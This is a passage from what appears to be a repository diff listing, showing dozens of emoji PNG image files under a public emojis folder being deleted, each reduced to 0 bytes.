-rw-r--r--public/-/emojis/2/tm.pngbin468 -> 0 bytes
-rw-r--r--public/-/emojis/2/toilet.pngbin602 -> 0 bytes
-rw-r--r--public/-/emojis/2/tokyo_tower.pngbin642 -> 0 bytes
-rw-r--r--public/-/emojis/2/tomato.pngbin866 -> 0 bytes
-rw-r--r--public/-/emojis/2/tone1.pngbin375 -> 0 bytes
-rw-r--r--public/-/emojis/2/tone2.pngbin343 -> 0 bytes
-rw-r--r--public/-/emojis/2/tone3.pngbin343 -> 0 bytes
-rw-r--r--public/-/emojis/2/tone4.pngbin343 -> 0 bytes
-rw-r--r--public/-/emojis/2/tone5.pngbin364 -> 0 bytes
-rw-r--r--public/-/emojis/2/tongue.pngbin675 -> 0 bytes
-rw-r--r--public/-/emojis/2/toolbox.pngbin417 -> 0 bytes
-rw-r--r--public/-/emojis/2/tools.pngbin864 -> 0 bytes
-rw-r--r--public/-/emojis/2/tooth.pngbin546 -> 0 bytes
-rw-r--r--public/-/emojis/2/top.pngbin440 -> 0 bytes
-rw-r--r--public/-/emojis/2/tophat.pngbin718 -> 0 bytes
-rw-r--r--public/-/emojis/2/track_next.pngbin537 -> 0 bytes
-rw-r--r--public/-/emojis/2/track_previous.pngbin601 -> 0 bytes
-rw-r--r--public/-/emojis/2/trackball.pngbin554 -> 0 bytes
-rw-r--r--public/-/emojis/2/tractor.pngbin953 -> 0 bytes
-rw-r--r--public/-/emojis/2/traffic_light.pngbin489 -> 0 bytes
-rw-r--r--public/-/emojis/2/train.pngbin710 -> 0 bytes
-rw-r--r--public/-/emojis/2/train2.pngbin875 -> 0 bytes
-rw-r--r--public/-/emojis/2/tram.pngbin802 -> 0 bytes
-rw-r--r--public/-/emojis/2/triangular_flag_on_post.pngbin325 -> 0 bytes
-rw-r--r--public/-/emojis/2/triangular_ruler.pngbin640 -> 0 bytes
-rw-r--r--public/-/emojis/2/trident.pngbin727 -> 0 bytes
-rw-r--r--public/-/emojis/2/triumph.pngbin962 -> 0 bytes
-rw-r--r--public/-/emojis/2/trolleybus.pngbin739 -> 0 bytes
-rw-r--r--public/-/emojis/2/trophy.pngbin966 -> 0 bytes
-rw-r--r--public/-/emojis/2/tropical_drink.pngbin888 -> 0 bytes
-rw-r--r--public/-/emojis/2/tropical_fish.pngbin889 -> 0 bytes
-rw-r--r--public/-/emojis/2/truck.pngbin695 -> 0 bytes
-rw-r--r--public/-/emojis/2/trumpet.pngbin835 -> 0 bytes
-rw-r--r--public/-/emojis/2/tulip.pngbin868 -> 0 bytes
-rw-r--r--public/-/emojis/2/tumbler_glass.pngbin956 -> 0 bytes
-rw-r--r--public/-/emojis/2/turtle.pngbin969 -> 0 bytes
-rw-r--r--public/-/emojis/2/tv.pngbin803 -> 0 bytes
-rw-r--r--public/-/emojis/2/twisted_rightwards_arrows.pngbin650 -> 0 bytes
-rw-r--r--public/-/emojis/2/two.pngbin674 -> 0 bytes
-rw-r--r--public/-/emojis/2/two_hearts.pngbin596 -> 0 bytes
-rw-r--r--public/-/emojis/2/two_men_holding_hands.pngbin859 -> 0 bytes
-rw-r--r--public/-/emojis/2/two_women_holding_hands.pngbin1071 -> 0 bytes
-rw-r--r--public/-/emojis/2/u5272.pngbin623 -> 0 bytes
-rw-r--r--public/-/emojis/2/u5408.pngbin652 -> 0 bytes
-rw-r--r--public/-/emojis/2/u55b6.pngbin569 -> 0 bytes
-rw-r--r--public/-/emojis/2/u6307.pngbin609 -> 0 bytes
-rw-r--r--public/-/emojis/2/u6708.pngbin491 -> 0 bytes
-rw-r--r--public/-/emojis/2/u6709.pngbin562 -> 0 bytes
-rw-r--r--public/-/emojis/2/u6e80.pngbin665 -> 0 bytes
-rw-r--r--public/-/emojis/2/u7121.pngbin642 -> 0 bytes
-rw-r--r--public/-/emojis/2/u7533.pngbin542 -> 0 bytes
-rw-r--r--public/-/emojis/2/u7981.pngbin704 -> 0 bytes
-rw-r--r--public/-/emojis/2/u7a7a.pngbin708 -> 0 bytes
-rw-r--r--public/-/emojis/2/umbrella.pngbin904 -> 0 bytes
-rw-r--r--public/-/emojis/2/unamused.pngbin712 -> 0 bytes
-rw-r--r--public/-/emojis/2/underage.pngbin1004 -> 0 bytes
-rw-r--r--public/-/emojis/2/unicorn.pngbin1146 -> 0 bytes
-rw-r--r--public/-/emojis/2/united_nations.pngbin807 -> 0 bytes
-rw-r--r--public/-/emojis/2/unlock.pngbin465 -> 0 bytes
-rw-r--r--public/-/emojis/2/up.pngbin576 -> 0 bytes
-rw-r--r--public/-/emojis/2/upside_down.pngbin651 -> 0 bytes
-rw-r--r--public/-/emojis/2/urn.pngbin587 -> 0 bytes
-rw-r--r--public/-/emojis/2/v.pngbin584 -> 0 bytes
-rw-r--r--public/-/emojis/2/v_tone1.pngbin580 -> 0 bytes
-rw-r--r--public/-/emojis/2/v_tone2.pngbin553 -> 0 bytes
-rw-r--r--public/-/emojis/2/v_tone3.pngbin573 -> 0 bytes
-rw-r--r--public/-/emojis/2/v_tone4.pngbin567 -> 0 bytes
-rw-r--r--public/-/emojis/2/v_tone5.pngbin590 -> 0 bytes
-rw-r--r--public/-/emojis/2/vampire.pngbin955 -> 0 bytes
-rw-r--r--public/-/emojis/2/vampire_tone1.pngbin943 -> 0 bytes
-rw-r--r--public/-/emojis/2/vampire_tone2.pngbin941 -> 0 bytes
-rw-r--r--public/-/emojis/2/vampire_tone3.pngbin910 -> 0 bytes
-rw-r--r--public/-/emojis/2/vampire_tone4.pngbin960 -> 0 bytes
-rw-r--r--public/-/emojis/2/vampire_tone5.pngbin890 -> 0 bytes
-rw-r--r--public/-/emojis/2/vertical_traffic_light.pngbin538 -> 0 bytes
-rw-r--r--public/-/emojis/2/vhs.pngbin501 -> 0 bytes
-rw-r--r--public/-/emojis/2/vibration_mode.pngbin679 -> 0 bytes
-rw-r--r--public/-/emojis/2/video_camera.pngbin634 -> 0 bytes
-rw-r--r--public/-/emojis/2/video_game.pngbin828 -> 0 bytes
-rw-r--r--public/-/emojis/2/violin.pngbin1017 -> 0 bytes
-rw-r--r--public/-/emojis/2/virgo.pngbin714 -> 0 bytes
-rw-r--r--public/-/emojis/2/volcano.pngbin1379 -> 0 bytes
-rw-r--r--public/-/emojis/2/volleyball.pngbin967 -> 0 bytes
-rw-r--r--public/-/emojis/2/vs.pngbin665 -> 0 bytes
-rw-r--r--public/-/emojis/2/vulcan.pngbin598 -> 0 bytes
-rw-r--r--public/-/emojis/2/vulcan_tone1.pngbin683 -> 0 bytes
-rw-r--r--public/-/emojis/2/vulcan_tone2.pngbin671 -> 0 bytes
-rw-r--r--public/-/emojis/2/vulcan_tone3.pngbin579 -> 0 bytes
-rw-r--r--public/-/emojis/2/vulcan_tone4.pngbin589 -> 0 bytes
-rw-r--r--public/-/emojis/2/vulcan_tone5.pngbin613 -> 0 bytes
-rw-r--r--public/-/emojis/2/wales.pngbin844 -> 0 bytes
-rw-r--r--public/-/emojis/2/walking.pngbin659 -> 0 bytes
-rw-r--r--public/-/emojis/2/walking_tone1.pngbin664 -> 0 bytes
-rw-r--r--public/-/emojis/2/walking_tone2.pngbin664 -> 0 bytes
-rw-r--r--public/-/emojis/2/walking_tone3.pngbin656 -> 0 bytes
-rw-r--r--public/-/emojis/2/walking_tone4.pngbin646 -> 0 bytes
-rw-r--r--public/-/emojis/2/walking_tone5.pngbin633 -> 0 bytes
-rw-r--r--public/-/emojis/2/waning_crescent_moon.pngbin873 -> 0 bytes
-rw-r--r--public/-/emojis/2/waning_gibbous_moon.pngbin1090 -> 0 bytes
-rw-r--r--public/-/emojis/2/warning.pngbin627 -> 0 bytes
-rw-r--r--public/-/emojis/2/wastebasket.pngbin1406 -> 0 bytes
-rw-r--r--public/-/emojis/2/watch.pngbin707 -> 0 bytes
-rw-r--r--public/-/emojis/2/water_buffalo.pngbin767 -> 0 bytes
-rw-r--r--public/-/emojis/2/water_polo.pngbin796 -> 0 bytes
-rw-r--r--public/-/emojis/2/water_polo_tone1.pngbin753 -> 0 bytes
-rw-r--r--public/-/emojis/2/water_polo_tone2.pngbin758 -> 0 bytes
-rw-r--r--public/-/emojis/2/water_polo_tone3.pngbin735 -> 0 bytes
-rw-r--r--public/-/emojis/2/water_polo_tone4.pngbin741 -> 0 bytes
-rw-r--r--public/-/emojis/2/water_polo_tone5.pngbin717 -> 0 bytes
-rw-r--r--public/-/emojis/2/watermelon.pngbin1028 -> 0 bytes
-rw-r--r--public/-/emojis/2/wave.pngbin774 -> 0 bytes
-rw-r--r--public/-/emojis/2/wave_tone1.pngbin805 -> 0 bytes
-rw-r--r--public/-/emojis/2/wave_tone2.pngbin772 -> 0 bytes
-rw-r--r--public/-/emojis/2/wave_tone3.pngbin807 -> 0 bytes
-rw-r--r--public/-/emojis/2/wave_tone4.pngbin775 -> 0 bytes
-rw-r--r--public/-/emojis/2/wave_tone5.pngbin683 -> 0 bytes
-rw-r--r--public/-/emojis/2/wavy_dash.pngbin385 -> 0 bytes
-rw-r--r--public/-/emojis/2/waxing_crescent_moon.pngbin931 -> 0 bytes
-rw-r--r--public/-/emojis/2/waxing_gibbous_moon.pngbin1105 -> 0 bytes
-rw-r--r--public/-/emojis/2/wc.pngbin679 -> 0 bytes
-rw-r--r--public/-/emojis/2/weary.pngbin809 -> 0 bytes
-rw-r--r--public/-/emojis/2/wedding.pngbin833 -> 0 bytes
-rw-r--r--public/-/emojis/2/weight_lifting_man.pngbin846 -> 0 bytes
-rw-r--r--public/-/emojis/2/whale.pngbin1032 -> 0 bytes
-rw-r--r--public/-/emojis/2/whale2.pngbin885 -> 0 bytes
-rw-r--r--public/-/emojis/2/wheel_of_dharma.pngbin720 -> 0 bytes
-rw-r--r--public/-/emojis/2/wheelchair.pngbin659 -> 0 bytes
-rw-r--r--public/-/emojis/2/white_check_mark.pngbin648 -> 0 bytes
-rw-r--r--public/-/emojis/2/white_circle.pngbin662 -> 0 bytes
-rw-r--r--public/-/emojis/2/white_flag.pngbin280 -> 0 bytes
-rw-r--r--public/-/emojis/2/white_flower.pngbin1029 -> 0 bytes
-rw-r--r--public/-/emojis/2/white_haired.pngbin502 -> 0 bytes
-rw-r--r--public/-/emojis/2/white_large_square.pngbin593 -> 0 bytes
-rw-r--r--public/-/emojis/2/white_medium_small_square.pngbin377 -> 0 bytes
-rw-r--r--public/-/emojis/2/white_medium_square.pngbin463 -> 0 bytes
-rw-r--r--public/-/emojis/2/white_small_square.pngbin316 -> 0 bytes
-rw-r--r--public/-/emojis/2/white_square_button.pngbin535 -> 0 bytes
-rw-r--r--public/-/emojis/2/white_sun_cloud.pngbin763 -> 0 bytes
-rw-r--r--public/-/emojis/2/white_sun_rain_cloud.pngbin926 -> 0 bytes
-rw-r--r--public/-/emojis/2/white_sun_small_cloud.pngbin754 -> 0 bytes
-rw-r--r--public/-/emojis/2/wilted_rose.pngbin918 -> 0 bytes
-rw-r--r--public/-/emojis/2/wind_blowing_face.pngbin905 -> 0 bytes
-rw-r--r--public/-/emojis/2/wind_chime.pngbin745 -> 0 bytes
-rw-r--r--public/-/emojis/2/wine_glass.pngbin724 -> 0 bytes
-rw-r--r--public/-/emojis/2/wink.pngbin652 -> 0 bytes
-rw-r--r--public/-/emojis/2/wolf.pngbin969 -> 0 bytes
-rw-r--r--public/-/emojis/2/woman.pngbin1002 -> 0 bytes
-rw-r--r--public/-/emojis/2/woman_artist.pngbin1132 -> 0 bytes
-rw-r--r--public/-/emojis/2/woman_artist_tone1.pngbin1093 -> 0 bytes
-rw-r--r--public/-/emojis/2/woman_artist_tone2.pngbin1230 -> 0 bytes
-rw-r--r--public/-/emojis/2/woman_artist_tone3.pngbin1100 -> 0 bytes
-rw-r--r--public/-/emojis/2/woman_artist_tone4.pngbin1115 -> 0 bytes
-rw-r--r--public/-/emojis/2/woman_artist_tone5.pngbin1130 -> 0 bytes
-rw-r--r--public/-/emojis/2/woman_astronaut.pngbin1294 -> 0 bytes
-rw-r--r--public/-/emojis/2/woman_astronaut_tone1.pngbin1296 -> 0 bytes
-rw-r--r--public/-/emojis/2/woman_astronaut_tone2.pngbin1269 -> 0 bytes
-rw-r--r--public/-/emojis/2/woman_astronaut_tone3.pngbin1225 -> 0 bytes
-rw-r--r--public/-/emojis/2/woman_astronaut_tone4.pngbin1194 -> 0 bytes
-rw-r--r--public/-/emojis/2/woman_astronaut_tone5.pngbin1212 -> 0 bytes
-rw-r--r--public/-/emojis/2/woman_bald.pngbin732 -> 0 bytes
-rw-r--r--public/-/emojis/2/woman_bald_tone1.pngbin696 -> 0 bytes
-rw-r--r--public/-/emojis/2/woman_bald_tone2.pngbin721 -> 0 bytes
-rw-r--r--public/-/emojis/2/woman_bald_tone3.pngbin753 -> 0 bytes
-rw-r--r--public/-/emojis/2/woman_bald_tone4.pngbin693 -> 0 bytes
-rw-r--r--public/-/emojis/2/woman_bald_tone5.pngbin650 -> 0 bytes
-rw-r--r--public/-/emojis/2/woman_biking.pngbin1336 -> 0 bytes
-rw-r--r--public/-/emojis/2/woman_biking_tone1.pngbin1357 -> 0 bytes
-rw-r--r--public/-/emojis/2/woman_biking_tone2.pngbin1347 -> 0 bytes
-rw-r--r--public/-/emojis/2/woman_biking_tone3.pngbin1298 -> 0 bytes
-rw-r--r--public/-/emojis/2/woman_biking_tone4.pngbin1266 -> 0 bytes
-rw-r--r--public/-/emojis/2/woman_biking_tone5.pngbin1243 -> 0 bytes
-rw-r--r--public/-/emojis/2/woman_bouncing_ball.pngbin1163 -> 0 bytes
-rw-r--r--public/-/emojis/2/woman_bouncing_ball_tone1.pngbin1148 -> 0 bytes
-rw-r--r--public/-/emojis/2/woman_bouncing_ball_tone2.pngbin1200 -> 0 bytes
-rw-r--r--public/-/emojis/2/woman_bouncing_ball_tone3.pngbin1106 -> 0 bytes
-rw-r--r--public/-/emojis/2/woman_bouncing_ball_tone4.pngbin1076 -> 0 bytes
-rw-r--r--public/-/emojis/2/woman_bouncing_ball_tone5.pngbin1047 -> 0 bytes
-rw-r--r--public/-/emojis/2/woman_bowing.pngbin963 -> 0 bytes
-rw-r--r--public/-/emojis/2/woman_bowing_tone1.pngbin992 -> 0 bytes
-rw-r--r--public/-/emojis/2/woman_bowing_tone2.pngbin1013 -> 0 bytes
-rw-r--r--public/-/emojis/2/woman_bowing_tone3.pngbin951 -> 0 bytes
-rw-r--r--public/-/emojis/2/woman_bowing_tone4.pngbin859 -> 0 bytes
-rw-r--r--public/-/emojis/2/woman_bowing_tone5.pngbin855 -> 0 bytes
-rw-r--r--public/-/emojis/2/woman_cartwheeling.pngbin790 -> 0 bytes
-rw-r--r--public/-/emojis/2/woman_cartwheeling_tone1.pngbin772 -> 0 bytes
-rw-r--r--public/-/emojis/2/woman_cartwheeling_tone2.pngbin784 -> 0 bytes
-rw-r--r--public/-/emojis/2/woman_cartwheeling_tone3.pngbin752 -> 0 bytes
-rw-r--r--public/-/emojis/2/woman_cartwheeling_tone4.pngbin719 -> 0 bytes
-rw-r--r--public/-/emojis/2/woman_cartwheeling_tone5.pngbin710 -> 0 bytes
-rw-r--r--public/-/emojis/2/woman_climbing.pngbin1156 -> 0 bytes
-rw-r--r--public/-/emojis/2/woman_climbing_tone1.pngbin1209 -> 0 bytes
-rw-r--r--public/-/emojis/2/woman_climbing_tone2.pngbin1158 -> 0 bytes
-rw-r--r--public/-/emojis/2/woman_climbing_tone3.pngbin1047 -> 0 bytes
-rw-r--r--public/-/emojis/2/woman_climbing_tone4.pngbin1025 -> 0 bytes
-rw-r--r--public/-/emojis/2/woman_climbing_tone5.pngbin1032 -> 0 bytes
-rw-r--r--public/-/emojis/2/woman_construction_worker.pngbin907 -> 0 bytes
-rw-r--r--public/-/emojis/2/woman_construction_worker_tone1.pngbin895 -> 0 bytes
-rw-r--r--public/-/emojis/2/woman_construction_worker_tone2.pngbin864 -> 0 bytes
-rw-r--r--public/-/emojis/2/woman_construction_worker_tone3.pngbin880 -> 0 bytes
-rw-r--r--public/-/emojis/2/woman_construction_worker_tone4.pngbin815 -> 0 bytes
-rw-r--r--public/-/emojis/2/woman_construction_worker_tone5.pngbin903 -> 0 bytes
-rw-r--r--public/-/emojis/2/woman_cook.pngbin1161 -> 0 bytes
-rw-r--r--public/-/emojis/2/woman_cook_tone1.pngbin1137 -> 0 bytes
-rw-r--r--public/-/emojis/2/woman_cook_tone2.pngbin1149 -> 0 bytes
-rw-r--r--public/-/emojis/2/woman_cook_tone3.pngbin1051 -> 0 bytes
-rw-r--r--public/-/emojis/2/woman_cook_tone4.pngbin1039 -> 0 bytes
-rw-r--r--public/-/emojis/2/woman_cook_tone5.pngbin1069 -> 0 bytes
-rw-r--r--public/-/emojis/2/woman_curly_haired.pngbin907 -> 0 bytes
-rw-r--r--public/-/emojis/2/woman_curly_haired_tone1.pngbin916 -> 0 bytes
-rw-r--r--public/-/emojis/2/woman_curly_haired_tone2.pngbin938 -> 0 bytes
-rw-r--r--public/-/emojis/2/woman_curly_haired_tone3.pngbin817 -> 0 bytes
-rw-r--r--public/-/emojis/2/woman_curly_haired_tone4.pngbin789 -> 0 bytes
-rw-r--r--public/-/emojis/2/woman_curly_haired_tone5.pngbin806 -> 0 bytes
-rw-r--r--public/-/emojis/2/woman_detective.pngbin1211 -> 0 bytes
-rw-r--r--public/-/emojis/2/woman_detective_tone1.pngbin1110 -> 0 bytes
-rw-r--r--public/-/emojis/2/woman_detective_tone2.pngbin1079 -> 0 bytes
-rw-r--r--public/-/emojis/2/woman_detective_tone3.pngbin1056 -> 0 bytes
-rw-r--r--public/-/emojis/2/woman_detective_tone4.pngbin1074 -> 0 bytes
-rw-r--r--public/-/emojis/2/woman_detective_tone5.pngbin1055 -> 0 bytes
-rw-r--r--public/-/emojis/2/woman_elf.pngbin1029 -> 0 bytes
-rw-r--r--public/-/emojis/2/woman_elf_tone1.pngbin1014 -> 0 bytes
-rw-r--r--public/-/emojis/2/woman_elf_tone2.pngbin933 -> 0 bytes
-rw-r--r--public/-/emojis/2/woman_elf_tone3.pngbin954 -> 0 bytes
-rw-r--r--public/-/emojis/2/woman_elf_tone4.pngbin954 -> 0 bytes
-rw-r--r--public/-/emojis/2/woman_elf_tone5.pngbin1002 -> 0 bytes
-rw-r--r--public/-/emojis/2/woman_facepalming.pngbin831 -> 0 bytes
-rw-r--r--public/-/emojis/2/woman_facepalming_tone1.pngbin795 -> 0 bytes
-rw-r--r--public/-/emojis/2/woman_facepalming_tone2.pngbin809 -> 0 bytes
-rw-r--r--public/-/emojis/2/woman_facepalming_tone3.pngbin750 -> 0 bytes
-rw-r--r--public/-/emojis/2/woman_facepalming_tone4.pngbin722 -> 0 bytes
-rw-r--r--public/-/emojis/2/woman_facepalming_tone5.pngbin743 -> 0 bytes
-rw-r--r--public/-/emojis/2/woman_factory_worker.pngbin1090 -> 0 bytes
-rw-r--r--public/-/emojis/2/woman_factory_worker_tone1.pngbin1087 -> 0 bytes
-rw-r--r--public/-/emojis/2/woman_factory_worker_tone2.pngbin1091 -> 0 bytes
-rw-r--r--public/-/emojis/2/woman_factory_worker_tone3.pngbin1039 -> 0 bytes
-rw-r--r--public/-/emojis/2/woman_factory_worker_tone4.pngbin1004 -> 0 bytes
-rw-r--r--public/-/emojis/2/woman_factory_worker_tone5.pngbin990 -> 0 bytes
-rw-r--r--public/-/emojis/2/woman_fairy.pngbin1087 -> 0 bytes
-rw-r--r--public/-/emojis/2/woman_fairy_tone1.pngbin1089 -> 0 bytes
-rw-r--r--public/-/emojis/2/woman_fairy_tone2.pngbin1052 -> 0 bytes
-rw-r--r--public/-/emojis/2/woman_fairy_tone3.pngbin1053 -> 0 bytes
-rw-r--r--public/-/emojis/2/woman_fairy_tone4.pngbin1012 -> 0 bytes
-rw-r--r--public/-/emojis/2/woman_fairy_tone5.pngbin1145 -> 0 bytes
-rw-r--r--public/-/emojis/2/woman_farmer.pngbin971 -> 0 bytes
-rw-r--r--public/-/emojis/2/woman_farmer_tone1.pngbin1039 -> 0 bytes
-rw-r--r--public/-/emojis/2/woman_farmer_tone2.pngbin1003 -> 0 bytes
-rw-r--r--public/-/emojis/2/woman_farmer_tone3.pngbin988 -> 0 bytes
-rw-r--r--public/-/emojis/2/woman_farmer_tone4.pngbin941 -> 0 bytes
-rw-r--r--public/-/emojis/2/woman_farmer_tone5.pngbin964 -> 0 bytes
-rw-r--r--public/-/emojis/2/woman_firefighter.pngbin1114 -> 0 bytes
-rw-r--r--public/-/emojis/2/woman_firefighter_tone1.pngbin1111 -> 0 bytes
-rw-r--r--public/-/emojis/2/woman_firefighter_tone2.pngbin1132 -> 0 bytes
-rw-r--r--public/-/emojis/2/woman_firefighter_tone3.pngbin1058 -> 0 bytes
-rw-r--r--public/-/emojis/2/woman_firefighter_tone4.pngbin1067 -> 0 bytes
-rw-r--r--public/-/emojis/2/woman_firefighter_tone5.pngbin1117 -> 0 bytes
-rw-r--r--public/-/emojis/2/woman_frowning.pngbin785 -> 0 bytes
-rw-r--r--public/-/emojis/2/woman_frowning_tone1.pngbin775 -> 0 bytes
-rw-r--r--public/-/emojis/2/woman_frowning_tone2.pngbin806 -> 0 bytes
-rw-r--r--public/-/emojis/2/woman_frowning_tone3.pngbin714 -> 0 bytes
-rw-r--r--public/-/emojis/2/woman_frowning_tone4.pngbin703 -> 0 bytes
-rw-r--r--public/-/emojis/2/woman_frowning_tone5.pngbin718 -> 0 bytes
-rw-r--r--public/-/emojis/2/woman_genie.pngbin1068 -> 0 bytes
-rw-r--r--public/-/emojis/2/woman_gesturing_no.pngbin838 -> 0 bytes
-rw-r--r--public/-/emojis/2/woman_gesturing_no_tone1.pngbin862 -> 0 bytes
-rw-r--r--public/-/emojis/2/woman_gesturing_no_tone2.pngbin851 -> 0 bytes
-rw-r--r--public/-/emojis/2/woman_gesturing_no_tone3.pngbin775 -> 0 bytes
-rw-r--r--public/-/emojis/2/woman_gesturing_no_tone4.pngbin774 -> 0 bytes
-rw-r--r--public/-/emojis/2/woman_gesturing_no_tone5.pngbin762 -> 0 bytes
-rw-r--r--public/-/emojis/2/woman_gesturing_ok.pngbin996 -> 0 bytes
-rw-r--r--public/-/emojis/2/woman_gesturing_ok_tone1.pngbin1025 -> 0 bytes
-rw-r--r--public/-/emojis/2/woman_gesturing_ok_tone2.pngbin951 -> 0 bytes
-rw-r--r--public/-/emojis/2/woman_gesturing_ok_tone3.pngbin970 -> 0 bytes
-rw-r--r--public/-/emojis/2/woman_gesturing_ok_tone4.pngbin858 -> 0 bytes
-rw-r--r--public/-/emojis/2/woman_gesturing_ok_tone5.pngbin907 -> 0 bytes
-rw-r--r--public/-/emojis/2/woman_getting_face_massage.pngbin899 -> 0 bytes
-rw-r--r--public/-/emojis/2/woman_getting_face_massage_tone1.pngbin906 -> 0 bytes
-rw-r--r--public/-/emojis/2/woman_getting_face_massage_tone2.pngbin876 -> 0 bytes
-rw-r--r--public/-/emojis/2/woman_getting_face_massage_tone3.pngbin862 -> 0 bytes
-rw-r--r--public/-/emojis/2/woman_getting_face_massage_tone4.pngbin898 -> 0 bytes
-rw-r--r--public/-/emojis/2/woman_getting_face_massage_tone5.pngbin730 -> 0 bytes
-rw-r--r--public/-/emojis/2/woman_getting_haircut.pngbin1049 -> 0 bytes
-rw-r--r--public/-/emojis/2/woman_getting_haircut_tone1.pngbin1022 -> 0 bytes
-rw-r--r--public/-/emojis/2/woman_getting_haircut_tone2.pngbin1115 -> 0 bytes
-rw-r--r--public/-/emojis/2/woman_getting_haircut_tone3.pngbin976 -> 0 bytes
-rw-r--r--public/-/emojis/2/woman_getting_haircut_tone4.pngbin882 -> 0 bytes
-rw-r--r--public/-/emojis/2/woman_getting_haircut_tone5.pngbin973 -> 0 bytes
-rw-r--r--public/-/emojis/2/woman_golfing.pngbin842 -> 0 bytes
-rw-r--r--public/-/emojis/2/woman_golfing_tone1.pngbin834 -> 0 bytes
-rw-r--r--public/-/emojis/2/woman_golfing_tone2.pngbin850 -> 0 bytes
-rw-r--r--public/-/emojis/2/woman_golfing_tone3.pngbin835 -> 0 bytes
-rw-r--r--public/-/emojis/2/woman_golfing_tone4.pngbin829 -> 0 bytes
-rw-r--r--public/-/emojis/2/woman_golfing_tone5.pngbin806 -> 0 bytes
-rw-r--r--public/-/emojis/2/woman_guard.pngbin621 -> 0 bytes
-rw-r--r--public/-/emojis/2/woman_guard_tone1.pngbin626 -> 0 bytes
-rw-r--r--public/-/emojis/2/woman_guard_tone2.pngbin649 -> 0 bytes
-rw-r--r--public/-/emojis/2/woman_guard_tone3.pngbin622 -> 0 bytes
-rw-r--r--public/-/emojis/2/woman_guard_tone4.pngbin626 -> 0 bytes
-rw-r--r--public/-/emojis/2/woman_guard_tone5.pngbin589 -> 0 bytes
-rw-r--r--public/-/emojis/2/woman_health_worker.pngbin1001 -> 0 bytes
-rw-r--r--public/-/emojis/2/woman_health_worker_tone1.pngbin955 -> 0 bytes
-rw-r--r--public/-/emojis/2/woman_health_worker_tone2.pngbin1045 -> 0 bytes
-rw-r--r--public/-/emojis/2/woman_health_worker_tone3.pngbin987 -> 0 bytes
-rw-r--r--public/-/emojis/2/woman_health_worker_tone4.pngbin1002 -> 0 bytes
-rw-r--r--public/-/emojis/2/woman_health_worker_tone5.pngbin928 -> 0 bytes
-rw-r--r--public/-/emojis/2/woman_in_lotus_position.pngbin943 -> 0 bytes
-rw-r--r--public/-/emojis/2/woman_in_lotus_position_tone1.pngbin968 -> 0 bytes
-rw-r--r--public/-/emojis/2/woman_in_lotus_position_tone2.pngbin945 -> 0 bytes
-rw-r--r--public/-/emojis/2/woman_in_lotus_position_tone3.pngbin861 -> 0 bytes
-rw-r--r--public/-/emojis/2/woman_in_lotus_position_tone4.pngbin853 -> 0 bytes
-rw-r--r--public/-/emojis/2/woman_in_lotus_position_tone5.pngbin879 -> 0 bytes
-rw-r--r--public/-/emojis/2/woman_in_steamy_room.pngbin869 -> 0 bytes
-rw-r--r--public/-/emojis/2/woman_in_steamy_room_tone1.pngbin907 -> 0 bytes
-rw-r--r--public/-/emojis/2/woman_in_steamy_room_tone2.pngbin892 -> 0 bytes
-rw-r--r--public/-/emojis/2/woman_in_steamy_room_tone3.pngbin856 -> 0 bytes
-rw-r--r--public/-/emojis/2/woman_in_steamy_room_tone4.pngbin822 -> 0 bytes
-rw-r--r--public/-/emojis/2/woman_in_steamy_room_tone5.pngbin793 -> 0 bytes
-rw-r--r--public/-/emojis/2/woman_judge.pngbin972 -> 0 bytes
-rw-r--r--public/-/emojis/2/woman_judge_tone1.pngbin947 -> 0 bytes
-rw-r--r--public/-/emojis/2/woman_judge_tone2.pngbin1077 -> 0 bytes
-rw-r--r--public/-/emojis/2/woman_judge_tone3.pngbin1037 -> 0 bytes
-rw-r--r--public/-/emojis/2/woman_judge_tone4.pngbin938 -> 0 bytes
-rw-r--r--public/-/emojis/2/woman_judge_tone5.pngbin946 -> 0 bytes
-rw-r--r--public/-/emojis/2/woman_juggling.pngbin1220 -> 0 bytes
-rw-r--r--public/-/emojis/2/woman_juggling_tone1.pngbin1212 -> 0 bytes
-rw-r--r--public/-/emojis/2/woman_juggling_tone2.pngbin1209 -> 0 bytes
-rw-r--r--public/-/emojis/2/woman_juggling_tone3.pngbin1173 -> 0 bytes
-rw-r--r--public/-/emojis/2/woman_juggling_tone4.pngbin1156 -> 0 bytes
-rw-r--r--public/-/emojis/2/woman_juggling_tone5.pngbin1115 -> 0 bytes
-rw-r--r--public/-/emojis/2/woman_lifting_weights.pngbin834 -> 0 bytes
-rw-r--r--public/-/emojis/2/woman_lifting_weights_tone1.pngbin859 -> 0 bytes
-rw-r--r--public/-/emojis/2/woman_lifting_weights_tone2.pngbin825 -> 0 bytes
-rw-r--r--public/-/emojis/2/woman_lifting_weights_tone3.pngbin821 -> 0 bytes
-rw-r--r--public/-/emojis/2/woman_lifting_weights_tone4.pngbin780 -> 0 bytes
-rw-r--r--public/-/emojis/2/woman_lifting_weights_tone5.pngbin801 -> 0 bytes
-rw-r--r--public/-/emojis/2/woman_mage.pngbin1095 -> 0 bytes
-rw-r--r--public/-/emojis/2/woman_mage_tone1.pngbin1047 -> 0 bytes
-rw-r--r--public/-/emojis/2/woman_mage_tone2.pngbin1062 -> 0 bytes
-rw-r--r--public/-/emojis/2/woman_mage_tone3.pngbin1044 -> 0 bytes
-rw-r--r--public/-/emojis/2/woman_mage_tone4.pngbin1061 -> 0 bytes
-rw-r--r--public/-/emojis/2/woman_mage_tone5.pngbin1047 -> 0 bytes
-rw-r--r--public/-/emojis/2/woman_mechanic.pngbin1110 -> 0 bytes
-rw-r--r--public/-/emojis/2/woman_mechanic_tone1.pngbin1069 -> 0 bytes
-rw-r--r--public/-/emojis/2/woman_mechanic_tone2.pngbin1088 -> 0 bytes
-rw-r--r--public/-/emojis/2/woman_mechanic_tone3.pngbin1014 -> 0 bytes
-rw-r--r--public/-/emojis/2/woman_mechanic_tone4.pngbin1040 -> 0 bytes
-rw-r--r--public/-/emojis/2/woman_mechanic_tone5.pngbin952 -> 0 bytes
-rw-r--r--public/-/emojis/2/woman_mountain_biking.pngbin1346 -> 0 bytes
-rw-r--r--public/-/emojis/2/woman_mountain_biking_tone1.pngbin1441 -> 0 bytes
-rw-r--r--public/-/emojis/2/woman_mountain_biking_tone2.pngbin1441 -> 0 bytes
-rw-r--r--public/-/emojis/2/woman_mountain_biking_tone3.pngbin1318 -> 0 bytes
-rw-r--r--public/-/emojis/2/woman_mountain_biking_tone4.pngbin1453 -> 0 bytes
-rw-r--r--public/-/emojis/2/woman_mountain_biking_tone5.pngbin1452 -> 0 bytes
-rw-r--r--public/-/emojis/2/woman_office_worker.pngbin898 -> 0 bytes
-rw-r--r--public/-/emojis/2/woman_office_worker_tone1.pngbin859 -> 0 bytes
